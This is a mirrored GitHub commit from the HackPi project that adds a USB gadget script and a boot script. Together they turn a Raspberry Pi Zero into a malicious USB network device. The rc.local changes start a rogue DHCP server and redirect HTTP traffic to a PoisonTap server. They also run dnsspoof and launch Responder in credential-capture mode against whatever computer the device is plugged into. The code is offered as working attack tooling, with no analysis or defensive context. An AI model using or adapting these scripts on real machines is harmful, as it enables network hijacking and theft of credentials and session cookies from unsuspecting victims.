mirror of
https://github.com/wismna/HackPi.git
synced 2025-10-03 15:40:16 -04:00
Add files via upload
This commit is contained in:
67
gadget.sh
Normal file
67
gadget.sh
Normal file
@@ -0,0 +1,67 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
#
|
||||||
|
# HackPi
|
||||||
|
# by wismna
|
||||||
|
# http://github.com/wismna/raspberry-pi/hackpi
|
||||||
|
# 14/01/2017
|
||||||
|
#
|
||||||
|
|
||||||
|
cd /sys/kernel/config/usb_gadget/
|
||||||
|
mkdir -p hackpi
|
||||||
|
cd hackpi
|
||||||
|
|
||||||
|
OS=`cat /home/pi/os.txt`
|
||||||
|
HOST="48:6f:73:74:50:43"
|
||||||
|
SELF0="42:61:64:55:53:42"
|
||||||
|
SELF1="42:61:64:55:53:43"
|
||||||
|
|
||||||
|
echo 0x04b3 > idVendor
|
||||||
|
echo 0x4010 > idProduct
|
||||||
|
|
||||||
|
echo 0x0100 > bcdDevice # v1.0.0
|
||||||
|
mkdir -p strings/0x409
|
||||||
|
echo "badc0deddeadbeef" > strings/0x409/serialnumber
|
||||||
|
echo "wismna" > strings/0x409/manufacturer
|
||||||
|
echo "PiZero" > strings/0x409/product
|
||||||
|
|
||||||
|
if [ "$OS" != "MacOs" ]; then
|
||||||
|
# Config 1: RNDIS
|
||||||
|
mkdir -p configs/c.1/strings/0x409
|
||||||
|
echo "0x80" > configs/c.1/bmAttributes
|
||||||
|
echo 250 > configs/c.1/MaxPower
|
||||||
|
echo "Config 1: RNDIS network" > configs/c.1/strings/0x409/configuration
|
||||||
|
|
||||||
|
echo "1" > os_desc/use
|
||||||
|
echo "0xcd" > os_desc/b_vendor_code
|
||||||
|
echo "MSFT100" > os_desc/qw_sign
|
||||||
|
|
||||||
|
mkdir -p functions/rndis.usb0
|
||||||
|
echo $SELF0 > functions/rndis.usb0/dev_addr
|
||||||
|
echo $HOST > functions/rndis.usb0/host_addr
|
||||||
|
echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/compatible_id
|
||||||
|
echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Config 2: CDC ECM
|
||||||
|
mkdir -p configs/c.2/strings/0x409
|
||||||
|
echo "Config 2: ECM network" > configs/c.2/strings/0x409/configuration
|
||||||
|
echo 250 > configs/c.2/MaxPower
|
||||||
|
|
||||||
|
mkdir -p functions/ecm.usb0
|
||||||
|
# first byte of address must be even
|
||||||
|
echo $HOST > functions/ecm.usb0/host_addr
|
||||||
|
echo $SELF1 > functions/ecm.usb0/dev_addr
|
||||||
|
|
||||||
|
# Create the CDC ACM function
|
||||||
|
mkdir -p functions/acm.gs0
|
||||||
|
|
||||||
|
# Link everything and bind the USB device
|
||||||
|
if [ "$OS" != "MacOs" ]; then
|
||||||
|
ln -s configs/c.1 os_desc
|
||||||
|
ln -s functions/rndis.usb0 configs/c.1
|
||||||
|
fi
|
||||||
|
|
||||||
|
ln -s functions/ecm.usb0 configs/c.2
|
||||||
|
ln -s functions/acm.gs0 configs/c.2
|
||||||
|
# End functions
|
||||||
|
ls /sys/class/udc > UDC
|
24
rc.local
24
rc.local
@@ -18,23 +18,37 @@ if [ "$_IP" ]; then
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
# Parse USB requests in dmesg
|
# Parse USB requests in dmesg
|
||||||
/bin/bash /home/pi/umap/usbreq.sh | tee /home/pi/os.txt
|
/bin/bash /home/pi/HackPi/fingerprint.sh | tee /home/pi/os.txt
|
||||||
|
|
||||||
# Stop the dummy gadget and start the real one
|
# Stop the dummy gadget and start the real one
|
||||||
modprobe -r g_ether
|
modprobe -r g_ether
|
||||||
modprobe libcomposite
|
modprobe libcomposite
|
||||||
|
|
||||||
# libcomposite configuration
|
# libcomposite configuration
|
||||||
/bin/sh /home/pi/poisontap/pi_startup.sh | tee /home/pi/poisontap/pi_startup.log
|
/bin/sh /home/pi/HackPi/gadget.sh | tee /home/pi/HackPi/gadget.log
|
||||||
|
|
||||||
|
# Start bridge interface
|
||||||
|
ifup br0
|
||||||
|
ifconfig br0 up
|
||||||
|
|
||||||
# Clear leases
|
# Clear leases
|
||||||
#rm -f /var/lib/dhcp/dhcpd.leases
|
#rm -f /var/lib/dhcp/dhcpd.leases
|
||||||
#touch /var/lib/dhcp/dhcpd.leases
|
#touch /var/lib/dhcp/dhcpd.leases
|
||||||
|
|
||||||
# Start DHCP server
|
# Start the DHCP server
|
||||||
#/usr/sbin/dhcpd
|
/sbin/route add -net 0.0.0.0/0 br0
|
||||||
|
/etc/init.d/isc-dhcp-server start
|
||||||
|
# Set some other paramaters
|
||||||
|
#/sbin/sysctl -w net.ipv4.ip_forward=1
|
||||||
|
/sbin/iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j REDIRECT --to-port 1337
|
||||||
|
# Start some servers
|
||||||
|
/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i br0 port 53
|
||||||
|
/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.js
|
||||||
|
|
||||||
|
# Enable Serial
|
||||||
|
systemctl enable getty@ttyGS0.service
|
||||||
|
|
||||||
# Start Responder
|
# Start Responder
|
||||||
/usr/bin/screen -dmS responder bash -c 'cd /home/pi/Responder/; python Responder.py -I br0 -f -w -r -d -F' | tee /home/pi/Responder.log
|
/usr/bin/screen -dmS responder bash -c 'cd /home/pi/Responder/; python Responder.py -I br0 -f -w -r -d -F'
|
||||||
|
|
||||||
exit 0
|
exit 0
|
||||||
|
Reference in New Issue
Block a user